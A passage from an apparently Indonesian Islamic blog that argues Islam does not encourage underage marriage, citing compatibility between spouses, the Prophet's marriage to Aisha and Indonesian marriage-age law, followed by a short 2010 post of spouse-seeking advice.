Tidak ditetapkannya usia tertentu dalam masalah usia sebenarnya memberikan kebebasan bagi umat untuk menyesuaikan masalah tersebut tergantung situasi, kepentingan, kondisi pribadi keluarga dan atau kebiasaan masyarakat setempat, yang jelas kematangan jasmani dan rohani kedua belah pihak menjadi prioritas dalam agama.

Dorongan adanya kesetaraan

Dalam fikih, ada yang disebut 
kafa’ah (baca kesetaraan). Kafa’ah di sini bukan berarti agama Islam mengakui adanya perbedaan (kasta) dalam masyarakat. Kafa’ah bukan pula suatu keharusan dan sama sekali bukan menjadi syarat dalam akad ikatan perkawinan, namun pertimbangan kafa’ah hanya sebagai anjuran dan dorongan agar perkawinan berjalan dengan keserasian dan saling pengertian antara kedua belah pihak dus demi langgengnya bahtera rumah tangga. Di antaranya, kesetaraan dalam hal ketakwaan, sebaiknya orang yang sangat takwa dan sangat rajin menjalankan ibadah agama, tidak dianjurkan bahkan tidak dibolehkan untuk dinikahkan dengan seorang yang rusak agamanya (sama sekali tidak memikirkan agama).

Juga seorang perempuan intelektual tidak dianjurkan dan tidak cocok nikah dengan suami yang bodoh. Juga masalah umur, tidaklah setara (imbang) antara laki-laki yang berumur 50 tahun dengan gadis berusia 13 tahun (apalagi lebih muda dari umur itu). Ketidaksetaraan seperti ini serta perbedaan yang mencolok antara kedua belah pihak tidak didukung syariat karena dikhawatirkan akan kuatnya timbul benturan-benturan antara kedua belah pihak dikarenakan perbedaan yang sangat mencolok tersebut.

Sedangkan kesetaraan dan persamaan dalam masalah keturunan, ras, kaya-miskin tidaklah menjadi masalah dalam Islam, karena Islam tidak memandang keturunan, suku bangsa serta miskin dan kaya. Miskin bukan merupakan cela (keaiban) dalam pandangan agama, yang cela hanyalah kekayaan yang didapat dari usaha ilegal dan kemiskinan akibat kemalasan.

Perkawinan Rasul dengan Sayidah Aisyah

Ada yang berdalih bahwa kawin muda merupakan tuntunan Nabi yang patut ditiru. Pendapat ini sama sekali tidak benar karena Nabi tidak permah mendorong dan menganjurkan untuk melakukan pernikahan di bawah umur. Akad pernikahan antara Rasul dengan Sayidah Aisyah yang kala itu baru berusia sekitar 10 tahun tidak bisa dijadikan sandaran dan dasar pegangan usia perkawinan dengan alasan sebagai berikut: Pertama: perkawinan itu merupakan perintah Allah sebagaimana sabda Rasul, ”Saya diperlihatkan wajahmu (Sayidah Aisyah) dalam mimpi sebanyak dua kali, Malaikat membawamu dengan kain sutera nan indah dan mengatakan bahwa ini adalah istrimu”. (HR Bukhari dan Muslim); Kedua: Rasul sendiri sebenarnya tidak berniat berumah tangga kalaulah bukan karena desakan para sahabat lain yang diwakili Sayidah Khawlah binti Hakim yang masih merupakan kerabat Rasul, di mana mereka melihat betapa Rasul setelah wafatnya Sayidah Khadijah, istri tercintanya sangat membutuhkan pendamping dalam mengemban dakwah Islam; Ketiga: Perkawinan Rasul dengan Sayidah Aisyah mempunyai hikmah penting dalam dakwah dan pengembangan ajaran Islam dan hukum-hukunya dalam berbagai aspek kehidupan khususnya yang berkaitan dengan masalah keperempuanan yang banyak para kaum perempuan bertanya kepada Nabi melalui Sayidah Aisyah.

Dikarenakan kecakapan dan kecerdasan Sayidah Aisyah sehingga ia menjadi gudang dan sumber ilmu pengetahuan sepanjang zaman; Kelima: masyarakat Islam (Hejaz) saat itu sudah terbiasa dengan masalah nikah muda dan sudah biasa menerima hal tersebut. Walaupun terdapat nikah muda, namun secara fisik maupun psikis telah siap sehingga tidak timbul adanya asumsi buruk dan negatif dalam masyarakat. Kita tidak memperpanjang masalah perkawinan ideal dan indah antara Rasul dengan Sayidah Aisyah, jadikanlah itu sebagai suatu pengecualian (kekhususan) yang mempunyai hikmah penting dalam sejarah agama.

Islam dalam prinsipnya tidak melarang secara terang-terangan tentang pernikahan muda usia, namun Islam juga tak pernah mendorong atau mendukung perkawinan usia muda (di bawah umur) tersebut, apa lagi dilaksanakan dengan tidak sama sekali mengindahkan dimensi-dimensi mental, hak-hak anak, psikis dan pisik terutama pihak perempuannya, dan juga kebiasaan dalam masyarakat, dengan dalih bahwa Islam sendiri tidak melarang.

Agama sebaiknya tidak dipandang dengan kasatmata, namun lebih jauh lagi agama menekankan maksud dan inti dari setiap ajarannya dan tuntunannya, dalam masalah perkawinan ini, Islam mendorong hal-hal agar lebih menjamin kepada suksesnya sebuah perkawinan. Yang diminta adalah kematangan kedua pihak dalam menempuh kehidupan berkeluarga sehingga tercipta hubungan saling memberi dan menerima, berbagi rasa, saling curhat dan menasihati antara suami-istri dalam mangarungi bahtera rumah tangga dan meningkatkan ketakwaan.

Usia perkawinan menurut Undang-Undang

Bab II pasal 7 ayat satu menyebutkan bahwa perkawinan hanya diizinkan jika pihak pria sudah mencapai umur 19 (sembilan belas) tahun dan pihak perempuan sudah mencapai umur 16 (enam belas) tahun. Juga tentang Usia Perkawinan Dalam Bab IV Kompilasi Hukum Islam (KHI) pasal 15 menyebutkan bahwa demi untuk kemaslahatan keluarga dan rumah tangga perkawinan hanya beleh dilakukan calon mempelai yang telah  mencapai umur yang ditetapkan dalam pasal 7 Undang-Undang  (UU) Nomor 1 tahun 1974 yakni calon suami sekurang-kurangnya berumur 19 tahun dan calon istri sekurang-kurangnya berumur 16 tahun.

Dalam UU perkawinan di sejumlah negara Arab hampir sama dengan UU Indonesia Seperti di Suriah, yang menjelaskan batas usia pernikahan untuk pria adalah jika telah mencapai 18 tahun dan untuk perempuannya jika sudah berusia 16 tahun (UU Perkawinan Suriah, pasal 16).

Menurut hemat penulis apa yang telah dibuat UU hendaknya mendapat dukungan dari semua pihak, khususnya para dai serta hendaknya dapat menjadi contoh baik dengan mengedepankan hal-hal yang telah menjadi standar dalam syariat dan bukan mencari hal-hal kontroversi yang menjadikan orang-orang menjadi bertanya-tanya bahkan yang lebih parah lagi meragukan kebenaran syariat. Pepatah (kata mutiara) Arab mengatakan “Semoga kerahmatan senantiasa tercurahkan bagi orang berusaha menghindarkan dirinya dari hal-hal yang menjadi cemoohan dalam masyarakat.” Penulis sama sekali tidak mengklaim batal atau tidak sahnya perkawinan usia muda, melainkian hanya menekankankan bahwa Islam tidak mendorong hal tersebut dengan berbagai alasan yang telah dikemukakan di atas.
 

Senin, 06 Desember 2010

Mencari Jodoh Dalam Islam


Urusan Jodoh itu ditangan Allah SWT, nah lalu bagaimana cara mengenali jodoh dalam islam. Tips ini berguna bagi anda yang sedang mencari jodoh dari ustad cinta, Restu Sugiharto. Menurut ustad ini ..
Tanda jodoh dalam Islam itu adalah “3M”. Apa itu?
Siapa yang paling bisa MemaklumiMemaafkan danMemotivasi kita ke arah yang lebih baik Insya Allah itu jodoh kita
Jadi kalau mau mencari jodoh, carilah yang bisa melakukan 3M diatas supaya hubungan cinta dapat langgeng dan tidak tercerai berai alias cerai. Jadi jodoh itu jangan berdasarkan nafsu (ganteng, kaya, dsb) tapi haruslah berdasarkan Islam (kuat aqidahnya, rajin ibadah dan indah akhlaknya).